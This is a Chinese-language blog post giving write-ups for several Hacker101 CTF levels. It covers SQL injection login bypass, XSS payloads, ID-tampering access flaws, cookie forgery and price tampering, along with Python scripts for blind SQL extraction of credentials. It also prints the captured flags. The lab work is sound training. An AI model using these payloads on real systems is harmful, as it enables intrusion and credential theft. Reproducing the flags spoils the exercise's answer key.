About Hacker101 CTF

2018 Hacker101 CTF,是由HackerOne举办的,直接使用HackerOne登录即可。传送门

【2019.11.12】

A little something to get you started

难度和flag分值:Trivial (1 / flag)

WriteUp:

打开链接查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!doctype html>
<html>
<head>
<style>
body {
background-image: url("background.png");
}
</style>
</head>
<body>
<p>Welcome to level 0. Enjoy your stay.</p>
</body>
</html>

发现background.png,添加到链接后访问

得到flag:^FLAG^05c6d80abb5641043be41332b6868d4e51e5dc899486dda3a44d12c9c2cc5d47$FLAG$`

Micro-CMS v1

难度和flag分值:Easy (2 / flag)

WriteUp:

本题目有四个flag。下面分别寻找:

打开是一个CMS系统,可以创建Markdown类型的页面文件。

flag1:点击已经存在的几个页面链接发现是以数字分隔的,可能存在注入,尝试直接在edit链接后面加引号,http://34.74.105.127/902d26090b/page/edit/1'

得到flag1:^FLAG^11e4ae63c7deb54c628acac7d6082bdf4573bbae3c81e5fccc035d1709b58c98$FLAG$

flag2:在Home路径下可以看到每篇文章的题目,在编辑页面构造XSS文件标题尝试在Home页面是否存在XSS。

图 1

创建文章后回到首页

弹出flag2:^FLAG^c03990c099606a0966e653368894f23422ac22683aaedd2f1cf05fe3e51ebc4b$FLAG$

flag3:在文章内容页面构造XSS,发现标签被过滤了。

图 2

构造<img>标签如下:

图 3

创建文章后访问,弹窗,存在XSS,查看源码

图 4

发现flag3:FLAG^06969e5fad7c4fdbb1373473bca3feaae5cb35192ad076b8c077c8d98ffa6c79$FLAG$

flag4:观察创建的文章ID是从11开始的,已存在的两篇文章ID分别是1和2,那中间的去哪里了?在浏览页面的链接后面一次追加之间的数字都是403,尝试在编辑页面的链接中追加中间的数字

图 5

得到flag4:^FLAG^73f6510533bfe045644c9d7d103f35017ac54fdf8b5517640bf1c884987f0993$FLAG$

这个题目还可以通过编辑button的属性来进行xss,<button onclick=alert(xss)>xxxx</button>

Micro-CMS v2

难度和flag分值:Moderate (3 / flag)

WriteUp:

本题目有3个flag。下面分别寻找:

flag1:有登录,尝试是否存在注入。构造登录名为admin ' union select '123,密码为123登录成功。查看private page页面

得到flag1:^FLAG^d2dbfda38f203a282859c13a3da50ee42812417984251fe376dcace56a02e57a$FLAG$

flag2:和CMS v1有点类似,查看hint,发现要采用post方式请求中间ID文章的edit页面

图 6

得到flag2:^FLAG^18caf2140521df8dfe1c3cf033d74080650e7a3be1f0d3715ea28a6a9de9960d$FLAG$

【2020.03.09更新】
本来想用sqlmap跑一下的,但是还要装,就在网上搜了一些别的大佬的思路,发现挺有趣的。

试了好久,终于拿到了flag!

flag终于提交成功

flag3:在登录页面随便输入用户名密码,提示Unknown user,但是当我们尝试sql注入输入admin',会得到下面的报错信息:

通过报错信息,我们发现了后端的sql查询语句的构造结构。

('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')

我们继续输入admin' or 1=1#,得到提示Invalid password,因此我们可以根据返回信息的不同对字段进行猜测。

接下来我们来构造payload,用户名输入' or length(password)=1 #,写了一段脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# coding=utf-8
import requests

url = "http://34.94.3.143/30fa262d5c/login"
num = 1

while True:
payload = "' or length(password)=" + str(num)+ " #"
req = requests.post(url, data={"username": payload, "password":"123"})
if "Invalid password" in req.text:
print(num)
break
num+=1
# finally we get the lenth(password)=7
print("over")

我们得到password的长度为7。下面我们猜测password的具体值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# coding=utf-8
import requests

url = "http://34.94.3.143/30fa262d5c/login"
chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
psd = ""

while len(psd)<7:
for i in chr:
payload = "' or password like '" + psd+i + "%' #"
req = requests.post(url, data={"username": payload, "password":"123"})
if "Invalid password" in req.text:
psd += i
break

# finally we get a password EZEKIEL
print("password: " + psd)

我们得到password为EZEKIEL,使用admin+EZEKIEL登录发现并不对,尝试猜测password对应的用户名信息,先猜测username长度:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# coding=utf-8
import requests

url = "http://34.94.3.143/30fa262d5c/login"

num = 1

while num<10:
payload = "' or password='EZEKIEL' and length(username)="+ str(num) +" #"
req = requests.post(url, data={"username": payload, "password":"123"})
if "Invalid password" in req.text:
print(num)
break
num+=1
# finally we get the lenth(username)=6
print("over")

我们得到password为EZEKIEL的username长度为6,下面猜测username的具体值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# coding=utf-8
import requests

url = "http://34.94.3.143/30fa262d5c/login"
chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"

username=""

while len(username)<6:
for i in chr:
payload = "' or password='EZEKIEL' and username like '" + username + i + "%' #"
req = requests.post(url, data={"username": payload, "password":"123"})
if "Invalid password" in req.text:
username += i
break

# finally we get a username PORSHA
print("username: " + username)

最终我们得到了一个账户username:PORSHA,password:EZEKIEL。尝试使用这个登录,发现依然不对,全部换成小写登录成功拿到flag,好吧,蒙蔽。

flag:^FLAG^7000355e3c23b50c69850012dee2529b269d280a53581ceef5430477437ef59c$FLAG$

Postbook

难度和flag分值:Easy (4 / flag)

WriteUp:

本题目有7个flag。下面分别寻找:

flag1:注册一个用户,登录后发现已经存在两篇文章,但是id分别为1和3,访问id为2的文章

图 7

得到flag1:^FLAG^49caa7bbda6269f5b031ef20c3c2c929da30256de5e0aa3ae669f78305db9921$FLAG$

flag2:注册登录后可以发现,在首页只有注册后创建的文章会显示edit按钮,已经存在的并没有。这里通过在编辑链接里通过修改id,直接获取edit权利。尝试在内容中构造XSS并保存。

图 8

得到flag2:^FLAG^a6472d14d9769cef13c37c9a857a6042aa11af11fcc267442b5716a7c5b7b35d$FLAG$

flag3:好吧。。。找了半天,发现在用户名显示的地方是存在XSS的,但是构造好还有XSS的用户名有弹窗但是没有flag。。发现已存在用户除了admin外还有一个user用户,登出后尝试登录user用户,弱密码password,谁料真的登上了。。。

图 9

得到flag3:^FLAG^e61c59b72e740c455cf50af04d9d05d0984909e2262afd94d95346aea4491b61$FLAG$

flag4:直接使用burpsuite爆破id字段发现在id=945时存在flag。

得到flag4:^FLAG^0cae4e96a31362d8c9c11daf0387dec9bf44b2e71b8ef9a69409e468f8d56ffe$FLAG$

flag5:尝试删除文章。发现删除链接id后面跟的是文章id的md5值,这里尝试越权删除其他用户的文章。

图 10

得到flag5:^FLAG^a5d21a4be4c9ed16a98c3d459f75b0984e679dc96eec3ad7c8cbdacc0137bae7$FLAG$

flag6:有了删、改、查,感觉下面就是增了。尝试越权增加一篇文章。先新建一个文章,然后删除并且抓包,发现参数除了title和body外还有一个user_id,这个user_id随着注册人数增加依次增加。这里直接把user_id设置成1之后发送。

图 11

得到flag6:^FLAG^3fb398a0f2e9af561c5a12802c8956807d547d23b8d9c5903b114d0c09e4b13d$FLAG$

flag7:在上面我们删除操作的时候直接使用了id的MD5值,抓包的时候发现用户的Cookie也是一个id=xxxx的哈希值,直接解md5可以发现其直接对应的是user_id,我们登录一个普通用户(我们自己注册的),然后将cookie设置为user_id为2的cookie来冒充用户,发现得到了一个flag和flag3一样,即user用户的flag。所以这里直接想到设置为admin用户的cookie,即user_id为1的cookie,md5(1)的值。刷新页面。

得到flag7:^FLAG^923ef7586685ba373188fb9000dc76c058e387f614f3a4d8381d63d5a52ba24f$FLAG$

7个flag总算照完了。。。

Petshop Pro

难度和flag分值:Easy (3 / flag)

WriteUp:

本题目有3个flag。下面分别寻找:

flag1:随便点了一下,发现checkout结算这里有个将单价算一下的操作,这里直接抓包修改购物车cart中相应商品的price0

图 12

得到flag1:^FLAG^b75dec926d3e2c5ee2a2987d33f1cd510c63094bddda9c86797cb5d3e58dd785$FLAG$

【今日成功拿到52points,顺利拿到两个private program的invitation的优先机会~】


声明:
文章标题:Hacker101 CTF WriteUp
文章作者:RookieHacker
文章链接:http://blog.rookiehacker.org/2020/03/09/hacker101ctf/
文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。


喜欢,就支持我一下吧~